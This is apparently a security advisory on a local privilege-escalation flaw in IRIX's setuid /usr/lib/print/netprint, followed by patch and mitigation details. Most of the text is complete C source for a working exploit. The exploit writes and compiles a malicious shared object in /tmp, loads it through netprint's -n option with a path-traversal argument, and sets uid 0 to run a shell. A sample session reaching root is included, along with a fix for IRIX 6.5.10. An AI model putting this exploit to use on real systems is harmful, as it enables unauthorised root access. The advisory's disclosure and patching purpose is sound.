|
COMMAND /usr/lib/print/netprint SYSTEMS AFFECTED IRIX 6.2...6.5.10, 6.5.11? PROBLEM Vade79 found following. This bug takes advantage of the -n option witch has a bug that allows for arbitrary commands to be executed. Exploit source code: /* (IRIX)netprint[] local root exploit, by: v9[v9@fakehalo.org]. this will give you uid=0 on IRIX systems. this exploit simply takes advantage of netprint's -n option to execute arbitrary code and gain elevated privileges. example: ------------------------------------------------------------------------------ $ cc xnetprint.c -o xnetprint $ id uid=9(lp) gid=9(lp) $ ./xnetprint /bin/sh [(IRIX)netprint[] local root exploit, by: v9[v9@realhalo.org]. ] [*] making symbols source file for netprint to execute. [*] done, now compiling symbols source file. [*] done, now checking to see if the symbols source compiled. [*] done, now executing netprint. [*] success, uid: 0, euid: 0, gid: 0, egid: 0. # id uid=0(root) gid=0(sys) # ------------------------------------------------------------------------------ note: built and tested on IRIX 6.2. this often requires the uid of lp to work correctly. though, should prove effective up to 6.4 or higher. */ #include <stdio.h> #include <unistd.h> #include <sys/stat.h> #define PATH "/usr/lib/print/netprint" /* path to exploitable program. */ #define CCPATH "/usr/bin/cc" /* path to compiler. */ #define SRCFILE "/tmp/xnetrpintso.c" /* path to temporary symbols source. */ #define SOFILE "/tmp/xnetprintso.so" /* path to compile as. */ #define FAKESOFILE "../../../../tmp/xnetprintso" /* arg to feed netprint. */ void cleanup(unsigned short i){ if(!access(SRCFILE,F_OK)) unlink(SRCFILE); if(!access(SOFILE,F_OK)) unlink(SOFILE); if(i) exit(i); } int main(int argc,char **argv){ char *syscmd; struct stat mod; FILE *symbol; printf("[(IRIX)netprint[] local root exploit, by: v9[v9@realhalo.org]. ]\n"); if(argc<2){ printf("[!] syntax: %s </path/to/program/to/exec>\n",argv[0]); cleanup(1); } if(stat(PATH,&mod)){ printf("[!] failed, could not get stats on %s.\n",PATH); cleanup(1); } if(mod.st_uid||!(S_ISUID&mod.st_mode)){ printf("[!] failed, %s is not setuid root.\n",PATH); cleanup(1); } if(access(argv[1],X_OK)){ printf("[!] failed, %s doesn't seem to exist or is not executable.\n", argv[1]); cleanup(1); } if(access(CCPATH,X_OK)){ printf("[!] failed, %s compiler doesn't seem to exist or is not executable." "\n",CCPATH); cleanup(1); } printf("[*] making symbols source file for netprint to execute.\n"); cleanup(0); if(!(symbol=fopen(SRCFILE,"w"))){ printf("[!] failed, could not open temporary file to write to.\n"); cleanup(1); } fprintf(symbol,"void OpenConn(){\n"); fprintf(symbol," seteuid(0);\n"); fprintf(symbol," setuid(0);\n"); fprintf(symbol," setegid(0);\n"); fprintf(symbol," setgid(0);\n"); fprintf(symbol," printf(\"\[*] success, uid: %%u, euid: %%u, gid: %%u, egid: " "%%u.\\n\",getuid(),geteuid(),getgid(),getegid());\n"); fprintf(symbol," execl(\"%s\",\"%s\",0);\n",argv[1],argv[1]); fprintf(symbol,"}\n"); fprintf(symbol,"void CloseConn(){}\n"); fprintf(symbol,"void ListPrinters(){}\n"); fprintf(symbol,"void SendJob(){}\n"); fprintf(symbol,"void CancelJob(){}\n"); fprintf(symbol,"void WaitForJob(){}\n"); fprintf(symbol,"void GetQueue(){}\n"); fprintf(symbol,"void StartTagging(){}\n"); fprintf(symbol,"void StopTagging(){}\n"); fprintf(symbol,"void Install(){}\n"); fprintf(symbol,"void IsDest(){}\n"); /* woops, never realized for newer versions of netprint. */ fprintf(symbol,"void ListAllPrinters(){}\n"); fclose(symbol); printf("[*] done, now compiling symbols source file.\n"); if(!(syscmd=(char *)malloc(strlen(CCPATH)+strlen(SRCFILE)+strlen(SOFILE)+13+1) )){ printf("[!] failed, could not allocate memory.\n"); cleanup(1); } sprintf(syscmd,"%s %s -shared -o %s",CCPATH,SRCFILE,SOFILE); system(syscmd); printf("[*] done, now checking to see if the symbols source compiled.\n"); if(access(SOFILE,R_OK)){ printf("[!] failed, symbols source was not compiled properly.\n"); cleanup(1); } printf("[*] done, now executing netprint.\n"); if(execl(PATH,PATH,"-n",FAKESOFILE,"-h0","-p0","0-0",0)){ printf("[!] failed, %s did not execute properly.\n",PATH); cleanup(1); } } In the form above it doesn't work against IRIX 6.5.10, it complains about the symbol ListAllPrinters being missing. Adding the symbol results in gaining root, but it does require lp first: fprintf(symbol,"void ListAllPrinters(){}\n"); Of course, since many SGI systems come with the lp account enabled without a password, that would often be a trivial prerequisite. The "lp" account, however, is no longer left open by default since 6.5, AFAIK. SOLUTION Although patches are available for this issue, it is realized that there may be situations where installing the patches immediately may not be possible. For those, change the permissions on the netprint program: /bin/chmod 500 /usr/lib/print/netprint Patches: OS Version Vulnerable? Patch # Other Actions ---------- ----------- ------- ------------- IRIX 3.x unknown Note 1 IRIX 4.x unknown Note 1 IRIX 5.x unknown Note 1 IRIX 6.0.x-6.4 unknown Note 1 IRIX 6.5-6.5.11 yes Note 2 & 3 IRIX 6.5.12m yes 4310 Note 3 & 4 IRIX 6.5.12f yes 4311 Note 3 & 4 IRIX 6.5.13 no Note 4 1) This version of the IRIX operating has been retired. Upgrade to an actively supported IRIX operating system. 2) This version of the IRIX operating system is in maintenance mode. Upgrade to an actively supported IRIX operating system. 3) See "Temporary Solution" above. 4) Download the latest IRIX 6.5 Maintenance Release